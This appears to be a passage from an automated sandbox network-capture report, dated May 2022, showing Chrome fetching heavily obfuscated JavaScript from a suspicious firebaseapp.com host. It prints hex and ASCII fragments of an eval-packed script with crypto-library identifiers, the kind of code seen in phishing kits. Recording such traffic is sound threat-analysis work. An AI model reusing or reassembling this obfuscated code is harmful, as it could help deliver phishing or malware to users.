28 22 36 74 22 29 2b 22 67 22 5d 29 2c 51 5b 4e 28 22 32 6c 22 29 2b 4e 28 22 32 6a 22 29 5d 5b 4e 28 22 31 74 22 29 
5d 28 51 5b 4e 28 22 6a 69 22 29 2b 4e 28 22 37 46 22 29 5d 29 2c 51 5b 4e 28 22 32 6c 22 29 2b 4e 28 22 32 6a 22 29 
5d 5b 4e 28 22 31 74 22 29 5d 28 63 29 2c 51 5b 4e 28 22 32 6c 22 29 2b 4e 28 22 32 6a 22 29 5d 5b 4e 28 22 31 74 22 
29 5d 28 51 2e 32 44 42 29 2c 51 5b 4e 28 22 32 6c 22 29 2b 4e 28 22 32 6a 22 29 5d 5b 4e 28 22 31 74 22 29 5d 28 51 
5b 4e 28 22 32 47 22 29 2b 4e 28 22 38 79 22 29 2b 22 65 79 22 5d 29 2c 30 
Data Ascii: 2G")+N("7w")+N("8K")+"r"]),Q[N("2l")+N("2j")][N("1t")](Q[N("2G")+N("4d")+N("6t")+"g"]),Q[N("2l")+N("2j")][N(
"1t")](Q[N("ji")+N("7F")]),Q[N("2l")+N("2j")][N("1t")](c),Q[N("2l")+N("2j")][N("1t")](Q.2DB),Q[N("2l")+N("2j")][N("1t")]
(Q[N("2G")+N("8y")+"ey"]),0

2022-05-13 14:40:18 UTC 1022 IN Data Raw: 45 22 29 5d 28 62 29 7d 2c 31 43 5b 4e 28 22 31 49 22 29 5d 5b 4e 28 22 31 41 22 29 2b 22 64 22 5d 28 31 
63 5b 4e 28 22 31 65 22 29 5d 2e 32 48 5b 4e 28 22 38 67 22 29 2b 22 75 34 22 2b 4e 28 22 6b 61 22 29 2b 22 32 43 34 
22 5d 2c 31 63 5b 4e 28 22 31 65 22 29 5d 5b 4e 28 22 32 72 22 29 2b 4e 28 22 31 48 22 29 5d 29 2c 31 63 5b 4e 28 22 
31 65 22 29 5d 5b 4e 28 22 31 78 22 29 5d 5b 4e 28 22 63 4f 22 29 5d 3d 55 28 62 29 7b 31 63 5b 4e 28 22 31 65 22 29 
5d 5b 4e 28 22 31 78 22 29 5d 5b 4e 28 22 63 4f 22 29 5d 5b 4e 28 22 31 5a 22 29 2b 22 35 6c 22 5d 5b 4e 28 22 31 4c 
22 29 2b 22 36 41 22 5d 5b 4e 28 22 31 42 22 29 5d 28 51 29 3b 31 61 20 78 3d 31 63 5b 4e 28 22 31 65 22 29 5d 2c 63 
3d 78 5b 4e 28 22 62 64 22 29 2b 4e 28 22 79 33 22 29 5d 2c 64 3d 78 5b 4e 
Data Ascii: E")](b)},1C[N("1I")][N("1A")+"d"](1c[N("1e")].2H[N("8g")+"u4"+N("ka")+"2C4"],1c[N("1e")][N("2r")+N("1H")]),1
c[N("1e")][N("1x")][N("cO")]=U(b){1c[N("1e")][N("1x")][N("cO")][N("1Z")+"5l"][N("1L")+"6A"][N("1B")](Q);1a x=1c[N("1e")]
,c=x[N("bd")+N("y3")],d=x[N
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2022-05-13 14:40:18 UTC 1038 IN Data Raw: 63 5b 22 37 61 22 2b 4e 28 22 34 4e 22 29 2b 4e 28 22 34 4c 22 29 5d 2c 72 3d 63 5b 4e 28 22 36 54 22 29 
2b 4e 28 22 61 36 22 29 5d 2c 61 3d 74 5b 4e 28 22 31 78 22 29 5d 5b 4e 28 22 61 68 22 29 2b 4e 28 22 37 6f 22 29 2b 
4e 28 22 33 76 22 29 2b 22 62 71 22 5d 2c 66 3d 78 5b 4e 28 22 31 6f 22 29 2b 22 6f 22 5d 2c 73 3d 33 5a 3b 63 5b 4e 2
8 22 36 54 22 29 2b 4e 28 22 34 4a 22 29 5d 5b 22 36 72 22 2b 4e 28 22 32 61 22 29 5d 5b 22 36 73 22 2b 4e 28 22 31 
4d 22 29 2b 22 72 22 5d 2e 34 66 28 51 29 2c 51 5b 22 49 79 22 2b 4e 28 22 38 52 22 29 2b 22 6e 22 5d 3d 31 64 20 74 
5b 22 76 46 22 2b 4e 28 22 34 50 22 29 5d 28 7b 32 6d 3a 31 7d 29 2c 51 5b 22 69 59 22 2b 4e 28 22 6d 74 22 29 2b 4e 
28 22 61 4a 22 29 2b 22 65 72 22 5d 3d 31 68 2c 51 5b 4e 28 22 61 66 22 29 
Data Ascii: c["7a"+N("4N")+N("4L")],r=c[N("6T")+N("a6")],a=t[N("1x")][N("ah")+N("7o")+N("3v")+"bq"],f=x[N("1o")+"o"],s=3
Z;c[N("6T")+N("4J")]["6r"+N("2a")]["6s"+N("1M")+"r"].4f(Q),Q["Iy"+N("8R")+"n"]=1d t["vF"+N("4P")]({2m:1}),Q["iY"+N("mt")
+N("aJ")+"er"]=1h,Q[N("af")

2022-05-13 14:40:18 UTC 1054 IN Data Raw: 20 30 21 3d 3d 62 5b 4e 28 22 35 5a 22 29 5d 29 7b 31 61 20 65 3d 57 5b 4e 28 22 33 77 22 29 2b 4e 28 22 
35 69 22 29 5d 3b 69 66 28 31 67 20 30 3d 3d 3d 65 5b 62 5b 4e 28 22 35 5a 22 29 5d 5d 29 31 69 20 4e 28 22 79 78 22 
29 2b 4e 28 22 31 79 22 29 2b 4e 28 22 32 56 42 22 29 2b 62 2e 31 7a 3b 51 5b 4e 28 22 37 49 22 29 2b 22 75 73 22 5d 
3d 31 64 20 63 28 7b 32 6d 3a 65 5b 62 5b 4e 28 22 35 5a 22 29 5d 5d 7d 29 7d 31 4b 20 51 5b 4e 28 22 37 49 22 29 2b 
22 75 73 22 5d 3d 31 64 20 63 28 62 29 7d 2c 31 43 2e 31 53 5b 4e 28 22 31 41 22 29 2b 22 64 22 5d 28 31 63 5b 4e 28 
22 31 65 22 29 5d 5b 4e 28 22 32 4d 22 29 5d 5b 4e 28 22 62 6f 22 29 2b 4e 28 22 6e 77 22 29 5d 2c 31 63 5b 4e 28 22 
31 65 22 29 5d 5b 22 37 53 22 2b 4e 28 22 31 48 22 29 5d 29 2c 31 63 2e 31 
Data Ascii:  0!==b[N("5Z")]){1a e=W[N("3w")+N("5i")];if(1g 0===e[b[N("5Z")]])1i N("yx")+N("1y")+N("2VB")+b.1z;Q[N("7I")+
"us"]=1d c({2m:e[b[N("5Z")]]})}1K Q[N("7I")+"us"]=1d c(b)},1C.1S[N("1A")+"d"](1c[N("1e")][N("2M")][N("bo")+N("nw")],1c[N
("1e")]["7S"+N("1H")]),1c.1

2022-05-13 14:40:18 UTC 1070 IN Data Raw: 29 2c 51 5b 4e 28 22 37 62 22 29 2b 22 48 72 22 2b 4e 28 22 36 79 22 29 5d 3d 31 64 20 57 28 7b 32 63 3a 
78 7d 29 2c 51 5b 22 32 5a 71 22 2b 4e 28 22 67 53 22 29 5d 3d 31 64 20 65 28 7b 32 63 3a 63 7d 29 7d 2c 51 5b 22 64 
67 22 2b 4e 28 22 48 56 22 29 5d 3d 55 28 62 2c 78 2c 63 29 7b 31 67 20 30 3d 3d 3d 63 26 26 28 63 3d 61 29 3b 31 61 
20 64 3d 31 64 20 73 3b 64 5b 4e 28 22 37 4c 22 29 2b 4e 28 22 54 4f 22 29 2b 22 4d 22 5d 28 78 29 3b 31 61 20 57 3d 
31 64 20 73 3b 57 5b 4e 28 22 37 4c 22 29 2b 22 44 47 22 5d 28 62 29 3b 31 61 20 65 3d 57 5b 4e 28 22 34 46 22 29 2b 
4e 28 22 33 50 22 29 2b 4e 28 22 36 46 22 29 5d 28 29 2c 74 3d 6f 5b 4e 28 22 36 67 22 29 2b 4e 28 22 62 6b 22 29 2b 
22 73 74 22 5d 28 65 2c 30 2c 5b 31 2c 30 5d 2c 22 33 30 22 29 2c 69 3d 64 
Data Ascii: ),Q[N("7b")+"Hr"+N("6y")]=1d W({2c:x}),Q["2Zq"+N("gS")]=1d e({2c:c})},Q["dg"+N("HV")]=U(b,x,c){1g 0===c&&
(c=a);1a d=1d s;d[N("7L")+N("TO")+"M"](x);1a W=1d s;W[N("7L")+"DG"](b);1a e=W[N("4F")+N("3P")+N("6F")](),t=o[N("6
g")+N("bk")+"st"](e,0,[1,0],"30"),i=d

2022-05-13 14:40:18 UTC 1086 IN Data Raw: 4b 7b 69 66 28 21 28 51 5b 4e 28 22 34 73 22 29 2b 22 79 22 5d 32 68 20 31 63 5b 4e 28 22 31 6f 22 29 2b 
22 6f 22 5d 5b 4e 28 22 37 7a 22 29 5d 29 29 31 69 22 47 32 3a 22 2b 4e 28 22 34 69 22 29 2b 4e 28 22 34 77 22 29 2b 
4e 28 22 4a 4e 22 29 2b 4e 28 22 62 55 22 29 2b 4e 28 22 32 4e 42 22 29 2b 4e 28 22 32 4e 43 22 29 2b 51 5b 4e 28 22 
39 54 22 29 2b 4e 28 22 68 62 22 29 2b 22 39 45 22 5d 3b 51 5b 4e 28 22 66 4e 22 29 5d 3d 51 5b 4e 28 22 34 73 22 29 
2b 22 79 22 5d 5b 4e 28 22 39 68 22 29 2b 22 32 4e 44 22 2b 4e 28 22 38 56 22 29 2b 22 6a 79 22 5d 28 51 5b 4e 28 22 
39 52 22 29 2b 22 32 74 22 5d 29 7d 31 62 20 51 5b 4e 28 22 66 4e 22 29 5d 7d 2c 51 5b 4e 28 22 45 4c 22 29 2b 22 6e 
45 22 5d 3d 55 28 62 29 7b 31 62 20 51 5b 4e 28 22 32 78 22 29 2b 4e 28 22 
Data Ascii: K{if(!(Q[N("4s")+"y"]2h 1c[N("1o")+"o"][N("7z")]))1i"G2:"+N("4i")+N("4w")+N("JN")+N("bU")+N("2NB")
+N("2NC")+Q[N("9T")+N("hb")+"9E"];Q[N("fN")]=Q[N("4s")+"y"][N("9h")+"2ND"+N("8V")+"jy"](Q[N("9R")+"2t"])}1b Q[
N("fN")]},Q[N("EL")+"nE"]=U(b){1b Q[N("2x")+N("

2022-05-13 14:40:18 UTC 1102 IN Data Raw: 32 55 22 29 2b 22 31 22 2c 22 33 7a 22 2b 4e 28 22 31 70 22 29 2b 4e 28 22 31 70 22 29 2b 4e 28 22 31 70 
22 29 2b 4e 28 22 31 70 22 29 2b 4e 28 22 31 70 22 29 2b 22 4b 62 22 2b 4e 28 22 31 70 22 29 2b 22 69 77 22 2b 4e 28 
22 31 70 22 29 2b 22 45 22 2c 4e 28 22 32 62 54 22 29 2b 4e 28 22 32 62 56 22 29 2b 4e 28 22 32 62 57 22 29 2b 22 32 
62 58 22 2b 4e 28 22 32 62 59 22 29 2b 4e 28 22 32 62 5a 22 29 2b 4e 28 22 32 63 30 22 29 2b 4e 28 22 32 63 31 22 29 
2b 4e 28 22 32 63 32 22 29 2b 4e 28 22 32 63 33 22 29 2b 4e 28 22 32 63 34 22 29 2b 22 34 22 2c 4e 28 22 31 70 22 29 
2b 4e 28 22 31 70 22 29 2b 4e 28 22 31 70 22 29 2b 4e 28 22 31 70 22 29 2b 22 33 7a 22 2b 4e 28 22 32 63 35 22 29 2b 
22 32 63 36 22 2b 4e 28 22 32 63 37 22 29 2b 22 32 62 55 22 2c 22 31 22 2c 
Data Ascii: 2U")+"1","3z"+N("1p")+N("1p")+N("1p")+N("1p")+N("1p")+"Kb"+N("1p")+"iw"+N("1p")+"E",N("2bT")+N("2b
V")+N("2bW")+"2bX"+N("2bY")+N("2bZ")+N("2c0")+N("2c1")+N("2c2")+N("2c3")+N("2c4")+"4",N("1p")+N("1p")+N("1p")+
N("1p")+"3z"+N("2c5")+"2c6"+N("2c7")+"2bU","1",

2022-05-13 14:40:18 UTC 1118 IN Data Raw: 4e 28 22 41 56 22 29 2b 4e 28 22 6c 61 22 29 29 7b 31 61 20 68 3d 62 2c 75 3d 31 4a 2c 67 3d 64 28 68 2c 
30 29 3b 69 66 28 39 3d 3d 3d 67 5b 4e 28 22 31 6b 22 29 2b 22 68 22 5d 29 28 7a 3d 31 64 20 6e 29 5b 4e 28 22 36 58 
22 29 2b 4e 28 22 39 79 22 29 2b 22 6e 38 22 2b 4e 28 22 31 6e 22 29 5d 28 68 29 3b 31 4b 20 69 66 28 36 3d 3d 3d 67 
5b 4e 28 22 31 6b 22 29 2b 22 68 22 5d 29 28 7a 3d 31 64 20 69 29 5b 4e 28 22 36 58 22 29 2b 4e 28 22 39 79 22 29 2b 
4e 28 22 38 57 22 29 2b 4e 28 22 31 6e 22 29 5d 28 68 29 3b 31 4b 7b 69 66 28 21 28 32 3c 67 5b 4e 28 22 31 6b 22 29 
2b 22 68 22 5d 26 26 22 35 56 22 3d 3d 3d 68 5b 4e 28 22 31 73 22 29 2b 22 72 22 5d 28 67 5b 31 5d 2c 32 29 29 29 31 
69 20 4e 28 22 34 69 22 29 2b 4e 28 22 34 77 22 29 2b 4e 28 22 32 65 62 22 
Data Ascii: N("AV")+N("la")){1a h=b,u=1J,g=d(h,0);if(9===g[N("1k")+"h"])(z=1d n)[N("6X")+N("9y")+"n8"+N("1n")](h);1K if(
6===g[N("1k")+"h"])(z=1d i)[N("6X")+N("9y")+N("8W")+N("1n")](h);1K{if(!(2<g[N("1k")+"h"]&&"5V"===h[N("1s")+"r"](g[1],2))
)1i N("4i")+N("4w")+N("2eb"

2022-05-13 14:40:18 UTC 1134 IN Data Raw: 22 29 2b 22 32 32 4f 22 2b 4e 28 22 42 63 22 29 5d 3d 55 28 29 7b 31 61 20 62 3d 51 5b 4e 28 22 33 63 22 
29 2b 4e 28 22 62 56 22 29 5d 28 4e 28 22 38 4c 22 29 2b 4e 28 22 35 6b 22 29 2b 4e 28 22 41 65 22 29 2b 4e 28 22 41 
49 22 29 29 3b 69 66 28 31 67 20 30 3d 3d 3d 62 29 31 62 20 62 3b 31 6a 28 31 61 20 78 3d 73 28 51 2e 32 63 2c 62 5b 
4e 28 22 39 7a 22 29 5d 29 2c 63 3d 5b 5d 2c 64 3d 61 28 78 2c 30 29 2c 57 3d 30 3b 57 3c 64 2e 31 47 3b 57 2b 2b 29 
7b 31 61 20 65 3d 7b 7d 2c 74 3d 61 28 78 2c 64 5b 57 5d 29 3b 69 66 28 65 2e 69 64 3d 68 28 66 28 78 2c 74 5b 30 5d 
29 29 2c 32 3d 3d 3d 74 5b 4e 28 22 31 6b 22 29 2b 22 68 22 5d 29 31 6a 28 31 61 20 69 3d 61 28 78 2c 74 5b 31 5d 29 
2c 6e 3d 30 3b 6e 3c 69 2e 31 47 3b 6e 2b 2b 29 7b 31 61 20 72 3d 6f 28 78 
Data Ascii: ")+"22O"+N("Bc")]=U(){1a b=Q[N("3c")+N("bV")](N("8L")+N("5k")+N("Ae")+N("AI"));if(1g 0===b)1b b;1j(1a 
x=s(Q.2c,b[N("9z")]),c=[],d=a(x,0),W=0;W<d.1G;W++){1a e={},t=a(x,d[W]);if(e.id=h(f(x,t[0])),2===t[N("1k")+"h"])1j(1a 
i=a(x,t[1]),n=0;n<i.1G;n++){1a r=o(x

2022-05-13 14:40:18 UTC 1150 IN Data Raw: 52 22 29 29 31 62 20 63 28 29 2b 32 38 53 3b 69 66 28 62 3d 3d 22 79 4b 20 2b 22 2b 4e 28 22 32 38 54 22 
29 2b 22 68 22 29 31 62 20 63 28 29 2b 32 38 55 3b 69 66 28 62 3d 3d 22 79 4b 20 2b 22 2b 4e 28 22 32 38 56 22 29 29 
31 62 20 63 28 29 2b 32 38 57 3b 69 66 28 62 2e 34 57 28 2f 5a 24 2f 29 29 31 62 20 64 28 62 29 3b 69 66 28 62 5b 4e 2
8 22 33 57 22 29 5d 28 2f 5e 5b 30 2d 39 5d 2b 24 2f 29 29 31 62 20 32 70 28 62 29 3b 31 69 20 4e 28 22 34 69 22 29 2b 
4e 28 22 34 77 22 29 2b 4e 28 22 74 51 22 29 2b 4e 28 22 32 38 58 22 29 2b 62 7d 2c 31 63 5b 4e 28 22 33 59 22 29 5d 
5b 4e 28 22 62 79 22 29 2b 22 74 65 22 5d 5b 4e 28 22 4d 38 22 29 2b 22 6c 75 22 5d 3d 55 28 62 29 7b 31 62 20 4d 39 
28 62 29 7d 2c 31 63 5b 4e 28 22 33 59 22 29 5d 5b 4e 28 22 62 79 22 29 
Data Ascii: R"))1b c()+28S;if(b=="yK +"+N("28T")+"h")1b c()+28U;if(b=="yK +"+N("28V"))1b c()+28W;if(b.4W(/Z$/))1b 
d(b);if(b[N("3W")](/^[0-9]+$/))1b 2p(b);1i N("4i")+N("4w")+N("tQ")+N("28X")+b},1c[N("3Y")][N("by")+"te"][N("M8")+"lu"]=U(b)
{1b M9(b)},1c[N("3Y")][N("by")

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:18 UTC 1166 IN Data Raw: 22 69 22 2c 4e 28 22 54 35 22 29 2b 22 72 65 22 2c 4e 28 22 32 77 49 22 29 2c 4e 28 22 32 77 77 22 29 2b 
22 74 22 2c 4e 28 22 32 77 4a 22 29 2c 4e 28 22 32 77 4c 22 29 2b 22 6e 74 22 2c 4e 28 22 53 52 22 29 2b 22 6f 22 2c 
4e 28 22 32 77 4d 22 29 2c 22 32 77 4e 22 2c 4e 28 22 79 73 22 29 2b 4e 28 22 54 64 22 29 2c 4e 28 22 32 77 4f 22 29 2
c 4e 28 22 32 77 50 22 29 2c 4e 28 22 6a 42 22 29 2b 4e 28 22 32 77 51 22 29 2b 4e 28 22 32 77 52 22 29 2b 22 53 22 
2c 4e 28 22 6a 42 22 29 2b 22 77 73 20 50 68 22 2b 4e 28 22 32 77 53 22 29 2c 4e 28 22 6a 42 22 29 2b 4e 28 22 32 77 
54 22 29 2c 22 32 77 55 22 2b 4e 28 22 32 77 56 22 29 2c 4e 28 22 53 4d 22 29 2b 22 61 6e 22 2c 22 52 43 22 5d 3b 22 
22 3d 3d 31 57 5b 4e 28 22 33 54 22 29 2b 22 72 73 22 5d 5b 4e 28 22 33 53 
Data Ascii: "i",N("T5")+"re",N("2wI"),N("2ww")+"t",N("2wJ"),N("2wL")+"nt",N("SR")+"o",N("2wM"),"2wN",N("ys")+N("Td"),N("
2wO"),N("2wP"),N("jB")+N("2wQ")+N("2wR")+"S",N("jB")+"ws Ph"+N("2wS"),N("jB")+N("2wT"),"2wU"+N("2wV"),N("SM")+
"an","RC"];""==1W[N("3T")+"rs"][N("3S

2022-05-13 14:40:18 UTC 1182 IN Data Raw: 4e 28 22 63 56 22 29 2b 22 2d 3a 6f 4f 22 2b 4e 28 22 66 35 22 29 2b 22 4a 79 22 2c 31 7a 3a 4e 28 22 31 54 
22 29 2b 22 4a 78 2d 65 6e 22 2c 32 76 3a 7b 31 53 3a 22 65 6e 22 7d 2c 32 7a 3a 55 28 62 2c 78 29 7b 32 75 28 4e 28 
22 31 54 22 29 2b 22 4a 78 22 2c 4e 28 22 32 46 22 29 2b 22 73 2f 6a 73 2f 22 2b 4e 28 22 4a 77 22 29 2b 4e 28 22 49 
5a 22 29 2b 4e 28 22 49 6e 22 29 2b 22 32 6f 33 22 2b 4e 28 22 32 6f 34 22 29 2b 4e 28 22 49 6c 22 29 2b 4e 28 22 49 6
9 22 29 2b 4e 28 22 33 61 22 29 2b 22 33 32 2e 6a 73 22 29 2e 39 78 28 62 2c 78 29 7d 2c 32 51 3a 32 54 7d 2c 7b 32 
6e 3a 4e 28 22 32 6f 35 22 29 2b 4e 28 22 32 6e 53 22 29 2b 22 74 48 2d 3a 22 2b 4e 28 22 6f 48 22 29 2b 4e 28 22 65 
57 22 29 2b 22 74 33 22 2c 31 7a 3a 4e 28 22 31 54 22 29 2b 4e 28 22 32 
Data Ascii: N("cV")+"-:oO"+N("f5")+"Jy",1z:N("1T")+"Jx-en",2v:{1S:"en"},2z:U(b,x){2u(N("1T")+"Jx",N("2F")+"s/js/"+N("Jw"
)+N("IZ")+N("In")+"2o3"+N("2o4")+N("Il")+N("Ii")+N("3a")+"32.js").9x(b,x)},2Q:2T},{2n:N("2o5")+N("2nS")+"tH-:"+N("oH")+N
("eW")+"t3",1z:N("1T")+N("2

2022-05-13 14:40:18 UTC 1198 IN Data Raw: 7c 30 78 31 66 62 7c 73 74 72 61 63 7c 30 78 62 34 37 7c 7c 30 78 38 35 65 7c 73 61 6c 74 7c 30 78 37 61 37 
7c 74 44 61 74 65 7c 30 78 65 38 65 7c 30 78 32 35 34 7c 30 78 65 62 39 7c 30 78 62 38 33 7c 30 78 38 63 38 7c 30 78 
66 31 32 7c 69 76 53 69 7a 65 7c 30 78 32 33 30 7c 7c 30 78 62 32 61 7c 30 78 65 39 61 7c 30 78 34 62 62 7c 62 69 74 
73 74 72 7c 30 78 33 64 37 7c 30 78 64 63 36 7c 30 78 32 7c 30 78 34 62 35 7c 30 78 36 32 34 7c 44 45 52 49 6e 7c 67 
67 65 64 4f 7c 6c 61 67 7c 30 78 39 37 35 7c 35 32 31 7c 30 78 33 33 61 7c 30 78 35 39 31 7c 30 78 32 36 62 7c 69 73 
73 75 65 72 7c 6e 62 72 50 72 6f 63 65 73 73 7c 30 78 63 65 37 7c 30 78 39 35 63 7c 61 75 64 7c 6d 65 72 69 63 7c 72 
44 42 7c 74 63 68 61 7c 30 78 31 66 7c 6f 70 5f 61 6e 64 6e 6f 74 7c 30 
Data Ascii: |0x1fb|strac|0xb47||0x85e|salt|0x7a7|tDate|0xe8e|0x254|0xeb9|0xb83|0x8c8|0xf12|ivSize|0x230||0xb2a
|0xe9a|0x4bb|bitstr|0x3d7|0xdc6|0x2|0x4b5|0x624|DERIn|ggedO|lag|0x975|521|0x33a|0x591|0x26b|issuer|nbrProcess|
0xce7|0x95c|aud|meric|rDB|tcha|0x1f|op_andnot|0

2022-05-13 14:40:18 UTC 1214 IN Data Raw: 77 35 4e 6c 32 43 7c 43 32 76 30 75 33 75 7c 7a 30 6a 35 73 32 75 7c 72 4b 35 75 72 32 6d 7c 41 78 72 4f 73 
4c 43 7c 7c 7a 77 6e 30 7c 43 67 66 59 44 64 6d 7c 7c 7a 75 58 50 43 33 71 7c 78 32 7a 49 6c 78 79 7c 43 32 4c 55 7c 
7c 7c 30 78 61 7c 6e 4a 62 52 6d 71 7c 6d 64 66 63 6f 65 79 7c 78 32 35 65 79 78 71 7c 7a 63 62 49 41 78 71 7c 43 32 
76 30 73 30 4b 7c 72 67 66 30 7a 76 79 7c 79 33 6e 5a 6c 61 7c 41 32 4c 4b 7c 7a 67 69 35 6d 64 6d 7c 6c 32 44 4e 6c 7
4 4f 7c 7a 65 50 78 75 57 7c 79 77 31 4c 74 67 4b 7c 42 4d 31 52 45 77 4f 7c 6e 64 47 57 6f 64 75 7c 7a 49 62 57 79 78 
69 7c 42 78 72 54 74 30 47 7c 30 78 65 66 65 7c 5f 70 72 65 76 7c 7a 4d 66 50 42 67 75 7c 7a 4b 35 49 45 78 71 7c 42 
49 62 5a 41 77 43 7c 45 75 72 4c 44 67 65 7c 6d 64 6d 34 71 74 65 7c 
Data Ascii: w5Nl2C|C2v0u3u|z0j5s2u|rK5ur2m|AxrOsLC||zwn0|CgfYDdm||zuXPC3q|x2zIlxy|C2LU|||0xa|nJbRmq|
mdfcoey|x25eyxq|zcbIAxq|C2v0s0K|rgf0zvy|y3nZla|A2LK|zgi5mdm|l2DNltO|zePxuW|yw1LtgK|BM1REwO|ndGWodu|z
IbWyxi|BxrTt0G|0xefe|_prev|zMfPBgu|zK5IExq|BIbZAwC|EurLDge|mdm4qte|

2022-05-13 14:40:18 UTC 1230 IN Data Raw: 6d 64 65 7c 41 77 31 48 42 61 7c 7a 33 6a 4c 7a 77 34 7c 72 76 61 5a 6f 64 71 7c 44 32 39 59 7a 68 6d 7c 72 
4d 65 54 7a 4c 30 7c 72 67 39 53 7a 4d 4b 7c 71 30 31 50 42 67 57 7c 42 4d 72 56 42 75 69 7c 6c 33 7a 50 6c 33 71 7c 
75 4c 6e 62 75 32 75 7c 79 33 62 5a 7c 7a 77 58 4b 7c 7a 32 76 30 71 32 65 7c 79 78 6d 47 79 73 61 7c 6d 74 61 32 79 
74 79 7c 69 67 7a 56 43 49 61 7c 69 65 39 6c 69 67 38 7c 76 67 4c 54 7a 71 7c 45 67 66 4b 7a 77 6d 7c 79 59 62 52 57 3
6 30 47 7c 43 4d 75 47 42 4d 38 7c 7a 77 35 30 73 77 34 7c 76 67 76 4a 42 4d 38 7c 42 4c 62 56 41 77 34 7c 41 77 35 4c 
7a 63 34 7c 72 4d 4c 59 7a 77 79 7c 43 4e 6a 4c 42 4e 71 7c 41 67 66 5a 41 65 47 7c 6c 77 35 56 44 67 4b 7c 43 49 62 
30 42 32 38 7c 45 77 39 49 41 47 7c 43 4d 4c 30 7a 76 71 7c 74 4d 76 
Data Ascii: mde|Aw1HBa|z3jLzw4|rvaZodq|D29Yzhm|rMeTzL0|rg9SzMK|q01PBgW|BMrVBui|l3zPl3q|uLnbu2u|y3bZ|
zwXK|z2v0q2e|yxmGysa|mta2yty|igzVCIa|ie9lig8|vgLTzq|EgfKzwm|yYbRW60G|CMuGBM8|zw50sw4|vgvJBM8|BLbVAw4
|Aw5Lzc4|rMLYzwy|CNjLBNq|AgfZAeG|lw5VDgK|CIb0B28|Ew9IAG|CML0zvq|tMv

2022-05-13 14:40:18 UTC 1246 IN Data Raw: 78 7c 30 78 32 61 38 7c 30 78 65 32 63 7c 30 78 65 35 32 7c 30 78 38 37 36 7c 52 49 56 41 54 7c 53 35 50 45 
4d 46 72 6f 6d 50 7c 46 72 6f 6d 50 7c 70 6b 63 73 35 7c 30 78 31 65 62 7c 32 53 61 6c 74 7c 57 6f 72 64 41 72 72 61 79 
7c 44 45 33 7c 65 41 6c 67 7c 30 78 63 61 31 7c 70 74 69 6f 6e 53 63 68 65 6d 7c 50 4b 43 53 38 50 52 56 7c 72 73 61 
45 6e 7c 30 78 65 32 61 7c 30 78 37 66 34 7c 30 78 37 37 36 7c 30 78 37 37 37 7c 52 45 51 7c 67 65 74 4b 65 79 46 72 
6f 6d 7c 30 30 31 7c 43 53 52 7c 30 78 38 63 66 7c 30 78 32 31 33 7c 30 30 35 7c 50 6c 61 69 6e 7c 30 78 33 37 39 7c 4
1 53 4e 31 53 69 67 6e 61 74 75 72 65 7c 30 78 64 31 64 7c 30 78 31 32 36 7c 30 78 38 65 64 7c 30 78 34 65 37 7c 30 
78 38 65 38 7c 30 78 34 38 31 7c 4e 49 53 54 7c 30 78 34 32 39 7c 73 
Data Ascii: x|0x2a8|0xe2c|0xe52|0x876|RIVAT|S5PEMFromP|FromP|pkcs5|0x1eb|2Salt|WordArray|DE3|eAlg|0x
ca1|ptionSchem|PKCS8PRV|rsaEn|0xe2a|0x7f4|0x776|0x777|REQ|getKeyFrom|001|CSR|0x8cf|0x213|005|Plain|0
x379|ASN1Signature|0xd1d|0x126|0x8ed|0x4e7|0x8e8|0x481|NIST|0x429|s

2022-05-13 14:40:18 UTC 1262 IN Data Raw: 77 69 74 68 52 53 41 61 6e 64 4d 47 46 31 7c 53 48 41 32 35 36 77 69 74 68 52 53 41 61 6e 64 4d 47 46 31 
7c 53 48 41 33 38 34 77 69 74 68 52 53 41 61 6e 64 4d 47 46 31 7c 53 48 41 35 31 32 77 69 74 68 52 53 41 61 6e 64 4d 
47 46 31 7c 52 49 50 45 4d 44 31 36 30 77 69 74 68 52 53 41 61 6e 64 4d 47 46 31 7c 44 49 47 45 53 7c 53 48 41 32 35 
36 7c 73 65 63 70 32 35 36 6b 31 7c 53 48 41 33 38 34 7c 30 78 62 66 61 7c 36 30 38 36 34 38 30 31 36 35 30 33 30 34 
30 33 30 31 7c 65 63 70 61 72 61 6d 73 7c 64 45 78 74 7c 30 78 64 39 32 7c 30 78 31 61 38 7c 30 33 36 46 34 7c 30 78 
31 64 66 7c 44 37 45 42 42 7c 30 78 35 35 35 7c 30 78 63 37 65 7c 38 46 44 43 45 7c 30 78 33 39 66 7c 30 78 66 32 64 
7c 33 31 37 33 33 43 33 46 30 33 43 34 46 45 45 7c 30 78 34 31 66 7c 53 45 
Data Ascii: withRSAandMGF1|SHA256withRSAandMGF1|SHA384withRSAandMGF1|SHA512withRSAandMGF1|
RIPEMD160withRSAandMGF1|DIGES|SHA256|secp256k1|SHA384|0xbfa|608648016503040301|ecparams|dExt|0xd92|0
x1a8|036F4|0x1df|D7EBB|0x555|0xc7e|8FDCE|0x39f|0xf2d|31733C3F03C4FEE|0x41f|SE

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.2.3 49767 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:21 UTC 1266 OUT GET /cvnmkyjthrsdgvzx/themes/js/a3107e4d4ae0ea783cd1177c52f1e6301649697231.js HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:21 UTC 1267 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 48384
Cache-Control: max-age=3600
Content-Type: text/javascript; charset=utf-8
Etag: "973309ad743c99282b2e607775167f45261e5cf9fcf31d58da38424856db2522"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:21 GMT
X-Served-By: cache-fra19148-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452821.392025,VS0,VE36
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:21 UTC 1267 IN Data Raw: 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 24 6e 62 72 75 74 2c 20 24 75 74 6e 62 72 2c 20 24 6e 62 72 2c 20 
